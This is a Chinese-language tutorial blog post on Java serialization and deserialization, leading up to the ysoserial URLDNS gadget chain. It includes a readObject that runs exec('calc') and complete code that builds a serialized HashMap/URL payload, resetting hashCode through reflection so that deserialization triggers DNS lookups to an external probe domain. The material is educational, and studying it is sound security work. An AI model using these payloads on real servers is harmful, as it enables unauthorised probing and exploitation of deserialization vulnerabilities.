Java反序列化基础+URLDNS利用链分析
序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。
序列化的实现
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口
是 Java 提供的序列化接口,它是一个空接口
public interface Serializable {
}
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
Serializable 接口的基本使用
- ObjectOutputStream类的 writeObject() 方法可以实现序列化。
- ObjectInputStream 类的 readObject() 方法用于反序列化。
- Java IO 采用装饰者模式,基础流(File/ByteArray 流)负责数据的 “存储位置”(文件 / 内存),只做最基础的字节读写;
ObjectOutputStream/ObjectInputStream是 “功能装饰器”,负责给基础流添加 “对象序列化 / 反序列化” 的功能;
Serializable 接口的特点
序列化类的属性没有实现 Serializable 那么在序列化就会报错
Exception in thread "main" java.io.NotSerializableException
跟进 ObjectOutputStream#writeObject() 源码
public final void writeObject(Object obj) throws IOException {
if (enableOverride) {
writeObjectOverride(obj);
return;
}
try {
writeObject0(obj, false);
} catch (IOException ex) {
if (depth == 0) {
writeFatalException(ex);
}
throw ex;
}
}
发现实际调用的是writeObject0,继续跟进
// remaining cases
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
writeOrdinaryObject(obj, desc, unshared);
} else {
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
这里判断了要序列化的obj对象实例是否实现了Serializable接口,如果没有就抛出异常。
transient 标识
transient 标识的对象成员变量不参与序列化
现在有一个Person类,没有transient 标识时,反序列化的结果是
Person{name='LE0', age=20}
当给name加上transient 标识后,反序列化的结果是
Person{name='null', age=20}
为什么反序列化会产生安全问题?
只要服务端反序列化数据,客户端传递的readObject中的代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式
- 入口类的
readObject直接调用危险的方法。
import java.io.IOException;
import java.io.Serializable;
public class Person implements Serializable {
public transient String name;
private int age;
public Person(){
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
但这种情况一般不可能发生,谁会这么写代码呢?
- 入口类参数中包含可控类,该类有危险的方法,
readObject时调用
入口类source(重写readObject,参数类型宽泛,最好是jdk自带的,继承Serializable)
Hashmap就是一个很好的入口
为什么hashmap要重写readObject?
在HashMap中,当key是对象时,在不同JVM下的哈希值可能存在差异,因此要把对象拆开,将元素单独计算,所以需要重写。
URLDNS链
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
如果想发起http请求,那就和URL类有关,发现URL是可以序列化的
public final class URL implements java.io.Serializable {
static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol";
static final long serialVersionUID = -7627629688361524110L;
那继续跟进看,正常发起请求需要用到openConnection方法,但是不太可能有同名的函数,无法利用。
发现有hashCode方法,调用了hashCode函数,跟进
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
发现在hashCode的时候,会调用 getHostAddress 来解析域名,从而发送DNS请求
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
理论可行那就尝试一下
//serialization
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class SerializationTest {
public static void serialization(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
HashMap <URL,Integer> map = new HashMap<>();
map.put(new URL("http://yrsmphqnks.zaza.eu.org"),1);
serialization(map);
}
}
//unserialization
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class DeserializationTest {
public static Object unserialization(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialization("ser.bin");
}
}
运行后发现在序列化的时候已经发送了DNS请求,并且在反序列化时没收到。

这是因为在执行map.put之后,hashCode已经变成了URL的hashcode,不等于-1,所以在反序列化的时候不会执行。
我们希望的是在序列化前不发起请求,并且在执行map.put之后将hashCode改回-1。
这就要用到Java的反射技术,改变已有的对象的属性。
Java反射
Java 反射 (Reflection) 是 Java 提供的核心内置机制,属于java.lang.reflect包,它允许程序在 运行时期(Runtime):
- 获取任意一个类的完整结构信息(类名、属性、方法、构造方法、修饰符等)
- 操作任意一个类的对象:调用它的任意方法(包括
private私有方法)、修改它的任意属性(包括private私有属性) - 动态创建任意一个类的实例对象
以Person类为例
import java.io.IOException;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
public class Person implements Serializable {
public transient String name;
private int age;
public Person(){
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public void action(String a) {
System.out.println(a);;
}
}
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class SerializationTest {
public static void serialization(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
Person person = new Person();
//获取原型
Class c = person.getClass();
//从原型class中实例化对象
//调用无参构造器
c.newInstance();
//如果想调用有参构造器,想获取有参构造器原型,再调用
Constructor constructor = c.getConstructor(String.class, int.class);
Person p = (Person) constructor.newInstance("LE0",20);
System.out.println(p);
//获取类里的属性(不包含私有属性)
Field[] fields = c.getFields();
for(Field f : fields){
System.out.println(f.getName());
}
//获取类里的所有属性(包含私有属性)
Field[] declaredFields = c.getDeclaredFields();
for(Field f : declaredFields) {
System.out.println(f.getName());
}
//根据变量名获取
Field nameField = c.getDeclaredField("name");
//私有属性需要关闭安全检查
nameField.setAccessible(true);
nameField.set(p,"LEE0");
System.out.println(p);
//调用方法
Method[] methods = c.getMethods();
for(Method m : methods) {
System.out.println(m.getName());
}
Method actionMethod = c.getMethod("action",String.class);
actionMethod.invoke(p,"play");
}
}
output:
Person{name='LE0', age=20}
name
name
age
Person{name='LEE0', age=20}
toString
action
wait
wait
wait
equals
hashCode
getClass
notify
notifyAll
play
通过反射修改hashCode的值
//Serialization
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
Person person = new Person("LE0",20);
System.out.println(person);
HashMap <URL,Integer> map = new HashMap<>();
URL url = new URL("http://vfbkfeqjew.lfcx.eu.org");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,1);
map.put(url,1);
hashcodeField.set(url,-1);
serialization(map);
}
下断点,hashCode的值确实改变了


总结一下
ysoserial中列出的Gadget:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
JDK1.8下的调用路线:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
参考
java序列化与反序列化全讲解_反序列化会进无参构造吗-CSDN博客
https://www.bilibili.com/video/BV16h411z7o9

浙公网安备 33010602011771号